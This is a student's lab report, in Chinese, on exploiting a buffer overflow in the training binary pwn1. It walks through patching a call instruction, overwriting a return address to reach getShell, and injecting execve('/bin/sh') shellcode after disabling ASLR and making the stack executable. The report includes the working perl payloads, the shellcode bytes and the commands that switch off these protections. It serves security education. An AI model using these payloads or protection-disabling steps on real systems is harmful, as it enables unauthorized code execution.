一、实验目的
本次实验聚焦于 Linux 平台下可执行文件 pwn1 的缓冲区溢出(BOF)漏洞挖掘与 shellcode 注入技术,核心目标是通过三种不同的技术路径篡改程序原有执行流程,从而触发程序中默认不可调用的 getShell 函数,或实现自定义 shellcode 的运行。具体技术方案包括:其一,直接对可执行文件的机器指令进行手动修改,将 main 函数中原本调用 foo 函数的指令目标,替换为 getShell 函数;其二,利用 foo 函数存在的 BOF 漏洞,设计特定的攻击字符串,通过覆盖函数返回地址的方式,间接触发 getShell 函数执行;其三,在关闭系统层面的安全防护机制后,向程序注入自定义编写的 shellcode,并确保其成功运行,最终获取具有交互能力的 Shell 环境。
本次学习过程不仅深入涉及汇编指令解析、栈内存结构等底层计算机知识,还要求熟练掌握多款工具的实操技巧,如 gdb 调试工具的断点设置与内存查看、vi 编辑器的十六进制模式编辑、patchelf 工具的动态链接库配置等。同时,对小端字节序的存储规则、地址空间随机化(ASLR)机制、堆栈内存区域的权限控制等关键技术概念,也形成了更透彻的理解。
二、实验过程
1.直接修改程序机器指令,改变程序执行流程
先安装好kali,新建文件夹pwn,复制pwn文件进入并改名为pwn20232318
随后修改主机名为20232318,进行反汇编
输入: objdump -d pwn20232318 | more
找到getshell,foo,main
getShell 函数起始地址为 0x0804847d,foo 函数起始地址为 0x08048491,main 函数中调用 foo 函数的指令位于地址 0x080484b5,对应的机器指令为 “e8 d7 ff ff ff”。
但是这时需将call foo修改为call getShell,通过计算,需要把机器指令更改为“e8 c3 ff ff ff”
但为了避免原文件遭受破坏,我先复制 pwn20232318 并进行粘贴,生成了新文件 pwn20232318-2,并进行修改
vim 打开新复制的文件 pwn20232310-2,并进入十六进制编辑模式。
在终端中执行:vim pwn20232310_2
打开文件后,在 vim 的普通模式下,输入以下命令进入十六进制编辑模式::%!xxd
执行该命令后,vim 会将文件内容以十六进制的形式显示出来
向下翻找找到0xd7ffffff
将e8d7ffffff改为e8c3ffffff
随后返回再次查看,可见已经变成跳转至getshell
随后执行pwn20232318_2,可见成功执行。
2.通过构造输入参数,造成BOF攻击,改变程序执行流
(1)接着继续进行反汇编,查看foo函数
foo函数使用无长度限制的gets函数读取输入,而仅为输入分配了 28 字节(0x1c)的缓冲区,这就为 BOF 攻击提供了条件。
当输入数据超过 28 字节时,超出部分会先覆盖foo函数的 EBP 值,继续超出则会覆盖函数的返回地址(即main函数调用foo后,下一步要执行的指令地址)。若将返回地址篡改为getShell函数的入口地址,那么foo函数执行完ret指令后,CPU 会跳转到getShell函数而非原main函数的后续指令,最终实现程序执行流的篡改。
(2)故此,我需要先定位返回地址覆盖位置,通过gdb调试,确定输入字符串中哪部分会覆盖返回地址。运行gdb发现未含有,故先下载gdb
启动gdb调试目标文件:执行gdb pwn20232318,进入调试模式
在gdb中输入r启动程序
首先,栈结构关系:栈中缓冲区(28 字节)→ EBP(4 字节)→ 返回地址(4 字节),因此需填充28+4=32字节后,再覆盖 4 字节返回地址,总攻击字符串长度需至少 36 字节。
故此手动输入32 字节填充字符 + 4 字节标记字符:
1111111122222222333333334444444412345678,前 32 字节为1/2/3/4各 8 字节,后 4 字节为1234
输入完成后,程序会因非法内存访问触发SIGSEGV(段错误),此时输入info r查看寄存器,发现eip值为0x34333231—— 对应 ASCII 码1234,证明输入字符串的第 33-36 字节(即 32 字节填充后的数据)会覆盖返回地址。
(3)随后需要确定返回地址的字节序,x86 架构采用小端字节序(低字节存低地址,高字节存高地址),因此getShell入口地址0x0804847d需按 “低字节→高字节” 的顺序拆分
地址拆分:0x0804847d可拆分为四个字节:0x08(最高字节)、0x04、0x84、0x7d(最低字节);
小端存储顺序:栈中存储返回地址时,需按 “最低字节在前,最高字节在后” 排列,即0x7d→0x84→0x04→0x08,对应十六进制字符串\x7d\x84\x04\x08
(4)故此需要构造攻击字符串并执行
利用perl生成包含 “填充字符 + 正确返回地址” 的攻击字符串,通过管道输入目标程序
生成攻击字符串文件:执行以下命令,生成input文件,其中前 32 字节为填充字符(11111111222222223333333344444444),后 4 字节为小端顺序的getShell地址:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
随后执行xxd input
查看input文件的十六进制内容,确认第 33-36 字节为7d 84 04 08,确保格式正确
执行攻击并验证结果:通过管道将input文件内容作为目标程序的输入,执行命令:
(cat input; cat) | ./pwn20232318
成功进入交互式 Shell,说明返回地址已被成功覆盖,getShell函数正常调用,BOF 攻击生效。
3.注入Shellcode并执行
Shellcode 是一段可直接被 CPU 执行的机器指令,核心目的是触发系统调用获取交互式 Shell(如 Linux 下调用 system("/bin/sh"))。在缓冲区溢出漏洞基础上实现 Shellcode 注入,需突破两大关键限制:一是系统对堆栈区域的执行权限限制(默认堆栈仅可读写、不可执行),二是地址随机化机制导致 Shellcode 地址难以定位。
实验通过 修改程序堆栈权限为可执行、关闭地址随机化 消除环境限制,再构造 “填充字符 + 覆盖返回地址 + NOP 滑动区 + Shellcode” 的攻击 payload:填充字符用于填满缓冲区并覆盖 EBP,覆盖返回地址指向 NOP 滑动区,NOP 指令(机器码 \x90)可让 CPU “滑入” 后续 Shellcode,最终实现恶意指令执行。
- 确保 Linux 环境中已安装 patchelf(修改程序堆栈权限)、gdb(调试定位地址)、perl(生成 payload)、readelf(验证堆栈权限)
Linux 系统默认开启地址空间随机化(ASLR),会导致堆栈地址每次运行都变化,无法固定 Shellcode 地址。需执行命令关闭
切换至 root 权限:sudo -s,输入密码后进入管理员模式;
查看当前随机化状态:more /proc/sys/kernel/randomize_va_space,若输出 2 表示开启;
关闭随机化:echo "0" > /proc/sys/kernel/randomize_va_space,再次查看确认输出为 0,确保地址固定。
同时设置堆栈为可执行并验证
修改堆栈权限:patchelf --set-execstack ~/pwn/pwn20232318
验证修改结果:readelf -l ~/pwn/pwn20232318 | grep -i "stack",若输出包含 RWE(Read, Write, Execute),则说明堆栈已具备执行权限。
(2)定位 Shellcode 地址与设计payload 结构
结合缓冲区溢出漏洞的栈布局,payload 需包含四部分,总长度需覆盖缓冲区(28 字节)+ EBP(4 字节)+ 返回地址(4 字节)
由于 Shellcode 注入到栈中,需通过 gdb 调试确定其在内存中的具体地址。
先以之前打开的终端,生成临时 payload(含占位地址):先构造包含 “填充字符 + 临时占位地址 + NOP + Shellcode” 的 payload,用于在栈中标记返回地址位置,执行命令:
perl -e 'print "A" x 32; print "\x01\x02\x03\x04"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x0a"' > input_shellcode
启动程序并注入临时 payload
打开另外一个终端,执行命令注入 payload:
(cat input_shellcode; cat) | ./pwn20232318
此时程序会阻塞等待输入,保持终端运行
回到原来终端,查找目标程序的进程号:ps -ef | grep pwn20232318,记录进程号为28491
在gdb 附加进程并定位地址
在第一个终端启动 gdb 并附加进程,反汇编 foo 函数找到 ret 指令地址:disassemble foo,确定 ret 指令地址
设置断点在 ret 指令:break *0x080484ae,输入 c 继续运行程序
按下回车键触发断点,此时程序暂停在 ret 指令执行前;
查看栈布局:输入 x/16x %esp(查看 esp 指向的栈内存),找到临时占位地址 0x01020304,其相邻的 NOP 区域地址即为 Shellcode 入口地址。定位到 NOP 区域地址为 0xffffd380
生成最终 payload:将临时 payload 中的占位地址替换为实际的 NOP 区域地址
地址从 0xffffd320 变为 0xffffd380 时,只需将 Perl 命令中对应位置的地址字节替换即可。由于 x86 系统采用小端序存储,0xffffd380 对应的字节序列为 \x80\xd3\xff\xff。
修改后的代码如下:perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
验证 payload 格式:执行 xxd input_shellcode_final,确认填充字符、返回地址、NOP 区、Shellcode 的字节顺序与内容正确。
执行注入并验证结果:在终端执行命令注入最终 payload
可见成功进入交互式 Shell,可执行 ls 查看当前目录文件,说明 Shellcode 已成功注入并执行。
三、问题及解决方案
问题1:打开另外一个终端,执行命令注入 payload时无法成功,发现目录下方有横线,便试了一下能否注入,随后结果出现没有文件。
问题1解决方案:在观察我的前一个终端的使用后,发现我只是进入了主机,但没有进入文件夹中,我的pwn文件在文件夹中故此无法进行注入。随后我cd进入文件夹,成功注入。
问题2:在注入Shellcode并执行时,我盲目的直接进行输入代码,并发现经常出现没有文件与目录,发现无法进行下一步的等待输入。
问题2解决方案:在观察实验指导书后,发现需要进行另一终端操作,我原先以为是在同一个终端进行操作,问了ai发现问题也无法解决,最后打开另外一个终端进行注入 payload,便可以成功进行下一步。
四、学习感悟、思考等
本次 Linux 缓冲区溢出与 Shellcode 注入实验,是一次从 “理论认知” 到 “底层实操” 的深度突破。整个过程不仅让我掌握了篡改程序执行流的三种核心技术,更让我对计算机底层原理与系统安全防护的逻辑有了颠覆性的理解。
最具挑战性的当属 Shellcode 注入环节。关闭地址随机化(ASLR)、设置堆栈可执行权限的操作,让我明白现代操作系统的安全机制并非 “摆设”—— 默认的堆栈 “只读不执行” 与地址随机化,正是抵御此类攻击的重要防线。而定位 Shellcode 地址时,通过gdb附加进程、设置ret指令断点、查看栈内存布局的过程,更像是一次 “逆向追踪”:从临时 payload 的占位地址0x01020304入手,在栈内存中找到 NOP 滑动区的起始地址,再将返回地址指向此处,最终看着ls指令成功执行时,我真切体会到 “控制程序执行流” 的核心逻辑 —— 不是直接调用 Shellcode,而是通过 “返回地址跳转 + NOP 滑动” 的组合,让 CPU “主动” 执行恶意指令。
实验中遇到的问题也让我收获颇丰。当我在终端注入 payload 时因未进入目标文件夹导致 “文件不存在”,或是误将两个终端的操作流程混淆导致进程附加失败时,我意识到:系统攻防实验不仅考验技术能力,更考验操作的严谨性 —— 路径切换、进程 ID 确认、权限切换等细节,任何一步疏忽都会导致实验失败。而这些 “踩坑” 的经历,比顺利完成实验更有价值,因为它让我学会了从 “错误信息” 中定位问题,从 “操作流程” 中排查疏漏,这正是实战攻防中不可或缺的能力。